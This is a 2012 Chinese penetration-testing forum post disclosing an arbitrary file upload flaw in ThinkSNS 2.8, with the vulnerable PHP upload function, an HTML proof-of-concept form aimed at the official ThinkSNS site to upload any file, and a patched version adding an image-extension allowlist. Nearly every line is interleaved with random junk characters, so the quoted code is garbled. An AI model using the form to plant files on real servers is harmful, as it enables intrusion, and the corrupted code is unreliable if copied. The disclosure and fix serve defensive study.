中国网络渗透测试联盟

标题: ThinkSNS 2.8任意文件上传漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-4 11:12
标题: ThinkSNS 2.8任意文件上传漏洞及修复
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。  m+ k( e/ E. K% _

4 B! d' k9 ^% W7 z& @' `- {: ]5 E
3 y- q8 n! G- ]) }- {  _" n\api\StatusesApi.class.php
* d) _. z5 ^- o1 m! C2 G% i# Z
8 r4 G2 q2 c( I- L8 D2 Gfunction uploadpic(){' U8 X# N) _$ o- C# m
      if( $_FILES['pic'] ){
3 O( g! h( Z1 q     //执行上传操作
! s& u! z) p+ Q6 ~+ ^& p     $savePath =  $this->_getSaveTempPath();# `7 E! U4 z; c( _  f
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
( o1 X/ `$ A6 v& Z5 d. t    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
9 w1 d, q8 W; P% j       {% ?, T! p+ b0 A5 ]) l! c+ g+ z
        $result['boolen']    = 1;% l. e, q. Z, ~- ^* P" l2 c! C
        $result['type_data'] = 'temp/'.$filename;
7 |  q! \; S5 N- W        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
1 {1 G- ?' o6 X0 k% V( ?       } else {, p0 p, M. [! \, \; t
        $result['boolen']    = 0;
, [7 G$ \! I9 G8 R1 K& h$ f7 w        $result['message']   = '上传失败';" ]6 A  \/ u( y' ^, v% T9 H6 @
       }5 a- ?6 F" C/ X* R
     }else{
, X# @0 \  E/ e4 s. \         $result['boolen']    = 0;; k- I$ l! k# N1 ]0 {4 |& p0 r
         $result['message']   = '上传失败';
7 B" i7 |! Y  J4 }     }
& q9 k- e$ I6 i; Sreturn $result;3 t3 f$ T- d5 b8 }; W$ Y
    }/ M# ]# E* Y2 B
unloadpic()方法没有对文件类型进行验证- G- {) w5 s% }. z$ a  K
! o3 ]( i3 I) D3 s5 U; r$ b
可以构建表单, 选择任意文件, 提交到! y2 ^  ~8 a4 G
/index.php?app=w3g&mod=Index&act=doPost6 A5 Z4 ?/ q1 v, ]# p: L
% y4 l, W" F9 S
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)) G; x& P- c, e! I5 j
9 o  ]9 ]/ W9 `' O

# {# `1 v7 a8 K% B5 j/ Q7 ^- h在登录thinksns官方微博后,
/ _: b, Q" f" g. f* D8 `构建以下表单:
0 M) s1 s, h/ P3 S & z5 X% n2 b9 U: M2 k; [
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
5 H1 B0 ~( Z0 |<textarea name="content">test</textarea>, P* G# e; p% X, G0 b! O
file: <input id="file" type="file" name="pic" />) E& U- {$ i- v3 x
<input type="submit" value="Post" />
: k; R- j# P# l! x7 B" F</form>
- L5 V1 o$ h: z5 @- P- ^去掉缩略图的前缀(small_ )
* `7 E: ^$ K  h9 o: o​修复方案:' n6 c8 h( T* M+ T; ]
9 e: h5 P7 i  ^- F
( G! b2 s" L& X' E- ~+ U
\api\StatusesApi.class.php
* P% l5 \! q% ^! L: i" \- Z$ ` ! K+ v! S1 H2 _9 n2 I/ w) P
function uploadpic(){, Y5 M# c8 s) V7 J
     /**8 N. G2 [# E; Q. b. c
      * 20121018 @yelo. x: S1 m3 Y8 E
      * 增加上传类型验证# i2 ^+ y% |/ _- X$ v  r
      */) s- S" o' k6 X/ O5 [
     $pathinfo = pathinfo($_FILES['pic']['name']);
- N, @% i' y4 U     $ext = $pathinfo['extension'];
$ U% N( n) U! _3 l6 x $allowExts = array('jpg', 'png', 'gif', 'jpeg');
& j  C8 Q/ X  l; P+ J7 c 0 A1 S3 N2 D9 A, Q( j  q4 Z
     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);& [( J3 G+ P7 T" @0 ?. ?! J

) L5 ]( n( I' T7 F     if( $uploadCondition ){* ]9 b" h, g6 r; E+ q8 b
     //执行上传操作
: d; a3 c' |; K9 A) ?7 Q+ ?     $savePath =  $this->_getSaveTempPath();1 X9 u: G2 U- B0 _/ |( O
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
' Q6 b3 ]% k! A5 w- O    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename)): a, g. u& n6 a0 t3 x% m8 T
       {2 x: I- S. P7 `
        $result['boolen']    = 1;9 F) s, l- p- k! ?" D4 n* t. S
        $result['type_data'] = 'temp/'.$filename;
5 I6 H. t" q! Q, ]+ p        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
* `/ s) u- V$ {# b/ G       } else {! n7 v3 M' E# R0 H( H  _
        $result['boolen']    = 0;) E+ L4 f2 s5 h/ M' f$ W+ B1 M
        $result['message']   = '上传失败';
% V( F( s1 t/ t% k- {2 |1 O( j  r! D       }
6 U9 T/ ^- V4 u     }else{
5 q2 ~5 Z; K9 o/ f8 o/ Q         $result['boolen']    = 0;
, z' ?  Y% b" }0 H. `1 E( D         $result['message']   = '上传失败';
! j. w6 d7 c! h/ w& @; R     }
' C6 X9 J8 I8 x) h7 `) S& |return $result;! E" `# P1 ]) {/ y3 Z4 w
    }# {4 G$ e, t+ g( Y/ V4 ?
6 A/ ^- m2 P2 I" M
6 M0 ^, l$ \3 P4 U' y" c9 ]





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2